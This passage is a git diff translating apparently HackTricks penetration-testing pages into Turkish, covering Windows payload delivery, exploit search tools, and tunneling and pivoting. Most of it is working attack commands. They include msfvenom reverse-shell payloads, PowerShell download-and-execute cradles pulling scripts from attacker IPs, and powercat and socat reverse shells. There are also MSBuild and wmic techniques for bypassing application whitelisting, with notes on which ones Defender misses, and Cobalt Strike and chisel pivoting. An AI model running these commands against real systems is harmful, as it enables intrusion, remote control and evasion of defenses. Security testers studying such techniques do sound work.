System.NET.WebClient).DownloadFile('http://10.2.0.5:8000/reverse_shell.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\"" ``` - **Cscript - Metasploit** - ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs ``` - -**Detected by defender** +**Defans tarafından tespit edildi** ## PS-Bat - ```bash \\webdavserver\folder\batchfile.bat ``` - -Process performing network call: **svchost.exe**\ -Payload written on disk: **WebDAV client local cache** - +Ağ çağrısı gerçekleştiren işlem: **svchost.exe**\ +Diskte yazılan yük: **WebDAV istemcisi yerel önbelleği** ```bash msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat impacket-smbserver -smb2support kali `pwd` @@ -350,102 +289,83 @@ impacket-smbserver -smb2support kali `pwd` ```bash \\10.8.0.3\kali\shell.bat ``` - -**Detected by defender** +**Defansör tarafından tespit edildi** ## **MSIExec** -Attacker - +Saldırgan ``` msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi python -m SimpleHTTPServer 80 ``` - -Victim: - +Kurban: ``` victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi ``` - -**Detected** +**Tespit Edildi** ## **Wmic** -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [Buradan](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash wmic os get /format:"https://webserver/payload.xsl" ``` - -Example xsl file [from here](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7): - +Örnek xsl dosyası [buradan](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7): ```xml - - - + + + ``` +**Tespit edilmedi** -**Not detected** - -**You can download & execute very easily a Koadic zombie using the stager wmic** +**Koadic zombisini stager wmic kullanarak çok kolay bir şekilde indirebilir ve çalıştırabilirsiniz** ## Msbuild -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [Buradan](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ``` cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml" ``` - -You can use this technique to bypass Application Whitelisting and Powershell.exe restrictions. As you will be prompted with a PS shell.\ -Just download this and execute it: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj) - +Bu tekniği Uygulama Beyaz Listesi ve Powershell.exe kısıtlamalarını aşmak için kullanabilirsiniz. Bir PS shell ile karşılaşacaksınız.\ +Bunu indirip çalıştırın: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj) ``` C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj ``` - -**Not detected** +**Tespit edilmedi** ## **CSC** -Compile C# code in the victim machine. - +Kurban makinesinde C# kodunu derleyin. ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs ``` +Buradan temel bir C# ters kabuk indirebilirsiniz: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) -You can download a basic C# reverse shell from here: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) - -**Not deteted** +**Tespit edilmedi** ## **Regasm/Regsvc** -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [Buradan](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll ``` - -**I haven't tried it** +**Denemedim** [**https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182**](https://gist.github.com/Arno0x/71ea3afb412ec1a5490c657e58449182) ## Odbcconf -- [From here](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) - +- [Buradan](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} ``` - -**I haven't tried it** +**Denemedim** [**https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2**](https://gist.github.com/Arno0x/45043f0676a55baf484cbcd080bbf7c2) @@ -455,98 +375,82 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt} [https://github.com/samratashok/nishang](https://github.com/samratashok/nishang) -In the **Shells** folder, there are a lot of different shells. To download and execute Invoke-_PowerShellTcp.ps1_ make a copy of the script and append to the end of the file: - +**Shells** klasöründe birçok farklı shell bulunmaktadır. Invoke-_PowerShellTcp.ps1_ dosyasını indirmek ve çalıştırmak için, scriptin bir kopyasını alın ve dosyanın sonuna ekleyin: ``` Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444 ``` - -Start serving the script in a web server and execute it on the victim's end: - +Bir web sunucusunda scripti çalıştırmaya başlayın ve kurbanın tarafında yürütün: ``` powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex" ``` +Defender bunu kötü niyetli kod olarak tespit etmiyor (henüz, 3/04/2019). -Defender doesn't detect it as malicious code (yet, 3/04/2019). - -**TODO: Check other nishang shells** +**TODO: Diğer nishang shell'lerini kontrol et** ### **PS-Powercat** [**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat) -Download, start a web server, start the listener, and execute it on the victim's end: - +İndir, bir web sunucusu başlat, dinleyiciyi başlat ve bunu kurbanın tarafında çalıştır: ``` - powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" +powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` +Defender bunu kötü niyetli kod olarak tespit etmiyor (henüz, 3/04/2019). -Defender doesn't detect it as malicious code (yet, 3/04/2019). - -**Other options offered by powercat:** +**powercat tarafından sunulan diğer seçenekler:** Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files... - ``` Serve a cmd Shell: - powercat -l -p 443 -e cmd +powercat -l -p 443 -e cmd Send a cmd Shell: - powercat -c 10.1.1.1 -p 443 -e cmd +powercat -c 10.1.1.1 -p 443 -e cmd Send a powershell: - powercat -c 10.1.1.1 -p 443 -ep +powercat -c 10.1.1.1 -p 443 -ep Send a powershell UDP: - powercat -c 10.1.1.1 -p 443 -ep -u +powercat -c 10.1.1.1 -p 443 -ep -u TCP Listener to TCP Client Relay: - powercat -l -p 8000 -r tcp:10.1.1.16:443 +powercat -l -p 8000 -r tcp:10.1.1.16:443 Generate a reverse tcp payload which connects back to 10.1.1.15 port 443: - powercat -c 10.1.1.15 -p 443 -e cmd -g +powercat -c 10.1.1.15 -p 443 -e cmd -g Start A Persistent Server That Serves a File: - powercat -l -p 443 -i C:\inputfile -rep +powercat -l -p 443 -i C:\inputfile -rep ``` - ### Empire [https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire) -Create a powershell launcher, save it in a file and download and execute it. - +Bir powershell başlatıcısı oluşturun, bir dosyaya kaydedin ve indirin ve çalıştırın. ``` powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` - -**Detected as malicious code** +**Kötü amaçlı kod olarak tespit edildi** ### MSF-Unicorn [https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn) -Create a powershell version of metasploit backdoor using unicorn - +Unicorn kullanarak metasploit arka kapısının bir powershell versiyonunu oluşturun ``` python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443 ``` - -Start msfconsole with the created resource: - +Oluşturulan kaynak ile msfconsole'ı başlatın: ``` msfconsole -r unicorn.rc ``` - -Start a web server serving the _powershell_attack.txt_ file and execute in the victim: - +Bir web sunucusu başlatın ve _powershell_attack.txt_ dosyasını sunun ve kurban üzerinde çalıştırın: ``` powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex" ``` +**Kötü amaçlı kod olarak tespit edildi** -**Detected as malicious code** +## Daha Fazla -## More - -[PS>Attack](https://github.com/jaredhaight/PSAttack) PS console with some offensive PS modules preloaded (cyphered)\ +[PS>Attack](https://github.com/jaredhaight/PSAttack) bazı saldırgan PS modülleri önceden yüklenmiş PS konsolu (şifreli)\ [https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\ -WinPWN](https://github.com/SecureThisShit/WinPwn) PS console with some offensive PS modules and proxy detection (IEX) +WinPWN](https://github.com/SecureThisShit/WinPwn) bazı saldırgan PS modülleri ve proxy tespiti ile PS konsolu (IEX) -## References +## Referanslar - [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/) - [https://gist.github.com/Arno0x](https://gist.github.com/Arno0x) diff --git a/src/generic-hacking/search-exploits.md b/src/generic-hacking/search-exploits.md index 8d195840a..7851630dd 100644 --- a/src/generic-hacking/search-exploits.md +++ b/src/generic-hacking/search-exploits.md @@ -1,25 +1,16 @@ -# Search Exploits +# Arama İhlalleri {{#include ../banners/hacktricks-training.md}} -
+### Tarayıcı -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Her zaman "google" veya diğerlerinde arama yapın: **\ \[version] exploit** -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %} - -### Browser - -Always search in "google" or others: **\ \[version] exploit** - -You should also try the **shodan** **exploit search** from [https://exploits.shodan.io/](https://exploits.shodan.io). +Ayrıca [https://exploits.shodan.io/](https://exploits.shodan.io) adresinden **shodan** **exploit aramasını** denemelisiniz. ### Searchsploit -Useful to search exploits for services in **exploitdb from the console.** - +**exploitdb'den konsoldan** hizmetler için ihlalleri aramak için kullanışlıdır. ```bash #Searchsploit tricks searchsploit "linux Kernel" #Example @@ -29,43 +20,33 @@ searchsploit -p 7618[.c] #Show complete path searchsploit -x 7618[.c] #Open vi to inspect the exploit searchsploit --nmap file.xml #Search vulns inside an nmap xml result ``` - ### Pompem -[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) is another tool to search for exploits +[https://github.com/rfunix/Pompem](https://github.com/rfunix/Pompem) istismarları aramak için başka bir araçtır. ### MSF-Search - ```bash msf> search platform:windows port:135 target:XP type:exploit ``` - ### PacketStorm -If nothing is found, try to search the used technology inside [https://packetstormsecurity.com/](https://packetstormsecurity.com) +Hiçbir şey bulunamazsa, kullanılan teknolojiyi [https://packetstormsecurity.com/](https://packetstormsecurity.com) içinde aramayı deneyin. ### Vulners -You can also search in vulners database: [https://vulners.com/](https://vulners.com) +Ayrıca vulners veritabanında arama yapabilirsiniz: [https://vulners.com/](https://vulners.com) ### Sploitus -This searches for exploits in other databases: [https://sploitus.com/](https://sploitus.com) +Bu, diğer veritabanlarında exploit arar: [https://sploitus.com/](https://sploitus.com) ### Sploitify -GTFOBins-like curated list of exploits with filters by vulnerability type (Local Privilege Escalation, Remote Code execution, etc), service type (Web, SMB, SSH, RDP, etc), OS and practice labs (links to machines where you can play with sploits): [https://sploitify.haxx.it](https://sploitify.haxx.it) +GTFOBins benzeri, zafiyet türüne (Yerel Yetki Yükseltme, Uzaktan Kod Çalıştırma vb.), hizmet türüne (Web, SMB, SSH, RDP vb.), işletim sistemine ve uygulama laboratuvarlarına (sploits ile oynayabileceğiniz makinelerin bağlantıları) göre filtrelerle düzenlenmiş exploit listesi: [https://sploitify.haxx.it](https://sploitify.haxx.it) ### search_vulns -search_vulns enables you to search for known vulnerabilities and exploits as well: [**https://search-vulns.com/**](https://search-vulns.com/). It utilizes various data sources like the NVD, the Exploit-DB, PoC-in-GitHub, the GitHub Security Advisory database and endoflife.date. +search_vulns, bilinen zafiyetler ve exploitler için arama yapmanıza da olanak tanır: [**https://search-vulns.com/**](https://search-vulns.com/). NVD, Exploit-DB, PoC-in-GitHub, GitHub Güvenlik Danışmanlığı veritabanı ve endoflife.date gibi çeşitli veri kaynaklarını kullanır. -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %} {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index 902da0e5b..a92ddf353 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -1,16 +1,15 @@ -# Tunneling and Port Forwarding +# Tünelleme ve Port Yönlendirme {{#include ../banners/hacktricks-training.md}} -## Nmap tip +## Nmap ipucu > [!WARNING] -> **ICMP** and **SYN** scans cannot be tunnelled through socks proxies, so we must **disable ping discovery** (`-Pn`) and specify **TCP scans** (`-sT`) for this to work. +> **ICMP** ve **SYN** taramaları socks proxy'leri üzerinden tünellenemez, bu nedenle **ping keşfini devre dışı bırakmalıyız** (`-Pn`) ve bunun çalışması için **TCP taramalarını** (`-sT`) belirtmeliyiz. ## **Bash** **Host -> Jump -> InternalA -> InternalB** - ```bash # On the jump server connect the port 3333 to the 5985 mknod backpipe p; @@ -26,19 +25,15 @@ cat <&4 >&3 & # From the host, you can now access InternalB from the Jump server evil-winrm -u username -i Jump ``` - ## **SSH** -SSH graphical connection (X) - +SSH grafik bağlantısı (X) ```bash ssh -Y -C @ #-Y is less secure but faster than -X ``` +### Yerel Port2Port -### Local Port2Port - -Open new Port in SSH Server --> Other port - +SSH Sunucusunda Yeni Port Aç --> Diğer port ```bash ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere ``` @@ -46,29 +41,23 @@ ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in ```bash ssh -R 0.0.0.0:10521:10.0.0.1:1521 user@10.0.0.1 #Remote port 1521 accessible in port 10521 from everywhere ``` - ### Port2Port -Local port --> Compromised host (SSH) --> Third_box:Port - +Yerel port --> Ele geçirilmiş ana bilgisayar (SSH) --> Üçüncü_kutu:Port ```bash ssh -i ssh_key @ -L :: [-p ] [-N -f] #This way the terminal is still in your host #Example sudo ssh -L 631::631 -N -f -l ``` - ### Port2hostnet (proxychains) -Local Port --> Compromised host (SSH) --> Wherever - +Yerel Port --> Ele geçirilmiş host (SSH) --> Herhangi bir yer ```bash ssh -f -N -D @ #All sent to local port will exit through the compromised server (use as proxy) ``` +### Ters Port Yönlendirme -### Reverse Port Forwarding - -This is useful to get reverse shells from internal hosts through a DMZ to your host: - +Bu, DMZ üzerinden iç hostlardan kendi hostunuza ters shell almak için faydalıdır: ```bash ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN # Now you can send a rev to dmz_internal_ip:443 and capture it in localhost:7000 @@ -77,13 +66,11 @@ ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN # and change the line "GatewayPorts no" to "GatewayPorts yes" # to be able to make ssh listen in non internal interfaces in the victim (443 in this case) ``` +### VPN-Tüneli -### VPN-Tunnel - -You need **root in both devices** (as you are going to create new interfaces) and the sshd config has to allow root login:\ +Her iki cihazda da **root'a ihtiyacınız var** (çünkü yeni arayüzler oluşturacaksınız) ve sshd yapılandırması root girişine izin vermelidir:\ `PermitRootLogin yes`\ `PermitTunnel yes` - ```bash ssh root@server -w any:any #This will create Tun interfaces in both devices ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0 #Client side VPN IP @@ -91,50 +78,38 @@ ifconfig tun0 up #Activate the client side network interface ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0 #Server side VPN IP ifconfig tun0 up #Activate the server side network interface ``` - -Enable forwarding on the Server side - +Sunucu tarafında yönlendirmeyi etkinleştir. ```bash echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE ``` - -Set a new route on the client side - +İstemci tarafında yeni bir rota ayarlayın ``` route add -net 10.0.0.0/16 gw 1.1.1.1 ``` - ## SSHUTTLE -You can **tunnel** via **ssh** all the **traffic** to a **subnetwork** through a host.\ -For example, forwarding all the traffic going to 10.10.10.0/24 - +Bir **host** üzerinden bir **alt ağ**'a tüm **trafik**i **ssh** ile **tünelleme** yapabilirsiniz.\ +Örneğin, 10.10.10.0/24 adresine giden tüm trafiği yönlendirmek. ```bash pip install sshuttle sshuttle -r user@host 10.10.10.10/24 ``` - -Connect with a private key - +Özel anahtar ile bağlanın ```bash sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa' # -D : Daemon mode ``` - ## Meterpreter ### Port2Port -Local port --> Compromised host (active session) --> Third_box:Port - +Yerel port --> Ele geçirilmiş ana bilgisayar (aktif oturum) --> Üçüncü_kutu:Port ```bash # Inside a meterpreter session portfwd add -l -p -r ``` - ### SOCKS - ```bash background# meterpreter session route add # (ex: route add 10.10.10.14 255.255.255.0 8) @@ -142,9 +117,7 @@ use auxiliary/server/socks_proxy run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` - -Another way: - +Başka bir yol: ```bash background #meterpreter session use post/multi/manage/autoroute @@ -157,13 +130,11 @@ set VERSION 4a run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` - ## Cobalt Strike ### SOCKS proxy -Open a port in the teamserver listening in all the interfaces that can be used to **route the traffic through the beacon**. - +Tüm arayüzlerde dinleyen bir port açın, bu port **trafiği beacon üzerinden yönlendirmek için** kullanılabilir. ```bash beacon> socks 1080 [+] started SOCKS4a server on: 1080 @@ -171,50 +142,42 @@ beacon> socks 1080 # Set port 1080 as proxy server in proxychains.conf proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25 ``` - ### rPort2Port > [!WARNING] -> In this case, the **port is opened in the beacon host**, not in the Team Server and the traffic is sent to the Team Server and from there to the indicated host:port - +> Bu durumda, **port beacon ana bilgisayarında açılır**, Team Server'da değil ve trafik Team Server'a gönderilir ve oradan belirtilen host:port'a iletilir. ```bash rportfwd [bind port] [forward host] [forward port] rportfwd stop [bind port] ``` +Not etmek gerekir: -To note: +- Beacon'ın ters port yönlendirmesi, **bireysel makineler arasında iletim için değil, Trafiği Team Server'a tünellemek için tasarlanmıştır**. +- Trafik, **Beacon'ın C2 trafiği içinde tünellenir**, P2P bağlantıları dahil. +- Yüksek portlarda ters port yönlendirmeleri oluşturmak için **yönetici ayrıcalıkları gerekmez**. -- Beacon's reverse port forward is designed to **tunnel traffic to the Team Server, not for relaying between individual machines**. -- Traffic is **tunneled within Beacon's C2 traffic**, including P2P links. -- **Admin privileges are not required** to create reverse port forwards on high ports. - -### rPort2Port local +### rPort2Port yerel > [!WARNING] -> In this case, the **port is opened in the beacon host**, not in the Team Server and the **traffic is sent to the Cobalt Strike client** (not to the Team Server) and from there to the indicated host:port - +> Bu durumda, **port beacon ana bilgisayarında açılır**, Team Server'da değil ve **trafik Cobalt Strike istemcisine gönderilir** (Team Server'a değil) ve oradan belirtilen host:port'a iletilir. ``` rportfwd_local [bind port] [forward host] [forward port] rportfwd_local stop [bind port] ``` - ## reGeorg [https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg) -You need to upload a web file tunnel: ashx|aspx|js|jsp|php|php|jsp - +Bir web dosyası tüneli yüklemeniz gerekiyor: ashx|aspx|js|jsp|php|php|jsp ```bash python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp ``` - ## Chisel -You can download it from the releases page of [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\ -You need to use the **same version for client and server** +Bunu [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) adresindeki sürümler sayfasından indirebilirsiniz.\ +**İstemci ve sunucu için aynı sürümü kullanmalısınız.** ### socks - ```bash ./chisel server -p 8080 --reverse #Server -- Attacker ./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim @@ -223,22 +186,18 @@ You need to use the **same version for client and server** ./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed) ./chisel client -v 10.10.10.10:8080 socks #Attacker ``` - -### Port forwarding - +### Port yönlendirme ```bash ./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker ./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim ``` - ## Ligolo-ng [https://github.com/nicocha30/ligolo-ng](https://github.com/nicocha30/ligolo-ng) -**Use the same version for agent and proxy** - -### Tunneling +**Ajan ve proxy için aynı sürümü kullanın** +### Tünelleme ```bash # Start proxy server and automatically generate self-signed TLS certificates -- Attacker sudo ./proxy -selfcert @@ -260,9 +219,7 @@ interface_add_route --name "ligolo" --route / python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080 ``` @@ -293,9 +246,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127 ```bash victim> python client.py --server-ip --server-port 9999 ``` - -Pivot through **NTLM proxy** - +**NTLM proxy** üzerinden geçiş yapın ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd ``` @@ -303,39 +254,29 @@ victim> python client.py --server-ip --server-port 9999 --ntl ```bash victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --hashes 9b9850751be2515c8231e5189015bbe6:49ef7638d69a01f26d96ed673bf50c45 ``` - ## **Socat** [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) -### Bind shell - +### Bağlı shell ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP4::1337 ``` - -### Reverse shell - +### Ters kabuk ```bash attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0 victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` - ### Port2Port - ```bash socat TCP4-LISTEN:,fork TCP4:: & ``` - -### Port2Port through socks - +### Port2Port üzerinden socks ```bash socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678 ``` - -### Meterpreter through SSL Socat - +### Meterpreter SSL Socat Üzerinden ```bash #Create meterpreter backdoor to port 3333 and start msfconsole listener in that port attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,fork,verify=1 TCP:127.0.0.1:3333 @@ -345,21 +286,15 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5 #Execute the meterpreter ``` - -You can bypass a **non-authenticated proxy** executing this line instead of the last one in the victim's console: - +Bir **kimlik doğrulaması yapılmamış proxy**'yi, kurbanın konsolundaki son satırın yerine bu satırı çalıştırarak atlayabilirsiniz: ```bash OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5 ``` +### SSL Socat Tüneli -[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/) - -### SSL Socat Tunnel - -**/bin/sh console** - -Create certificates on both sides: Client and Server +**/bin/sh konsolu** +Her iki tarafta da sertifikalar oluşturun: İstemci ve Sunucu ```bash # Execute these commands on both sides FILENAME=socatssl @@ -373,34 +308,28 @@ chmod 600 $FILENAME.key $FILENAME.pem attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt ``` - ### Remote Port2Port -Connect the local SSH port (22) to the 443 port of the attacker host - +Yerel SSH portunu (22) saldırgan ana bilgisayarın 443 portuna bağlayın ```bash attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost victim> while true; do socat TCP4::443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22 attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh of the victim ``` - ## Plink.exe -It's like a console PuTTY version ( the options are very similar to an ssh client). - -As this binary will be executed in the victim and it is an ssh client, we need to open our ssh service and port so we can have a reverse connection. Then, to forward only locally accessible port to a port in our machine: +Bu, bir konsol PuTTY versiyonuna benzer (seçenekler, bir ssh istemcisine çok benzer). +Bu ikili dosya kurban üzerinde çalıştırılacağından ve bir ssh istemcisi olduğundan, ters bağlantı kurabilmemiz için ssh hizmetimizi ve portumuzu açmamız gerekiyor. Ardından, yalnızca yerel olarak erişilebilir bir portu makinemizdeki bir porta yönlendirmek için: ```bash echo y | plink.exe -l -pw [-p ] -R :: echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 ``` - ## Windows netsh ### Port2Port -You need to be a local admin (for any port) - +Herhangi bir port için yerel yönetici olmanız gerekir. ```bash netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp # Example: @@ -410,60 +339,50 @@ netsh interface portproxy show v4tov4 # Delete port forward netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 ``` - ## SocksOverRDP & Proxifier -You need to have **RDP access over the system**.\ -Download: +**Sisteme RDP erişiminiz olmalıdır.**\ +İndirin: -1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - This tool uses `Dynamic Virtual Channels` (`DVC`) from the Remote Desktop Service feature of Windows. DVC is responsible for **tunneling packets over the RDP connection**. +1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Bu araç, Windows'un Uzak Masaüstü Servisi özelliğinden `Dynamic Virtual Channels` (`DVC`) kullanır. DVC, **RDP bağlantısı üzerinden paketleri tünellemekten** sorumludur. 2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab) -In your client computer load **`SocksOverRDP-Plugin.dll`** like this: - +İstemci bilgisayarınızda **`SocksOverRDP-Plugin.dll`** dosyasını şu şekilde yükleyin: ```bash # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` +Artık **`mstsc.exe`** kullanarak **RDP** üzerinden **kurban** ile **bağlanabiliriz** ve **SocksOverRDP eklentisinin etkin olduğu** ve **127.0.0.1:1080** adresinde **dinleyeceği** ile ilgili bir **istem** alacağız. -Now we can **connect** to the **victim** over **RDP** using **`mstsc.exe`**, and we should receive a **prompt** saying that the **SocksOverRDP plugin is enabled**, and it will **listen** on **127.0.0.1:1080**. - -**Connect** via **RDP** and upload & execute in the victim machine the `SocksOverRDP-Server.exe` binary: - +**RDP** üzerinden **bağlanın** ve kurban makinesine `SocksOverRDP-Server.exe` ikili dosyasını yükleyip çalıştırın: ``` C:\SocksOverRDP-x64> SocksOverRDP-Server.exe ``` - -Now, confirm in you machine (attacker) that the port 1080 is listening: - +Şimdi makinenizde (saldırgan) 1080 numaralı portun dinlendiğini doğrulayın: ``` netstat -antb | findstr 1080 ``` +Artık [**Proxifier**](https://www.proxifier.com/) **trafikleri o port üzerinden proxy'lemek için kullanabilirsiniz.** -Now you can use [**Proxifier**](https://www.proxifier.com/) **to proxy the traffic through that port.** +## Windows GUI Uygulamalarını Proxify Etme -## Proxify Windows GUI Apps +Windows GUI uygulamalarının bir proxy üzerinden gezinmesini sağlamak için [**Proxifier**](https://www.proxifier.com/) kullanabilirsiniz.\ +**Profile -> Proxy Servers** kısmına SOCKS sunucusunun IP'sini ve portunu ekleyin.\ +**Profile -> Proxification Rules** kısmına proxify etmek istediğiniz programın adını ve proxify etmek istediğiniz IP'lere olan bağlantıları ekleyin. -You can make Windows GUI apps navigate through a proxy using [**Proxifier**](https://www.proxifier.com/).\ -In **Profile -> Proxy Servers** add the IP and port of the SOCKS server.\ -In **Profile -> Proxification Rules** add the name of the program to proxify and the connections to the IPs you want to proxify. - -## NTLM proxy bypass - -The 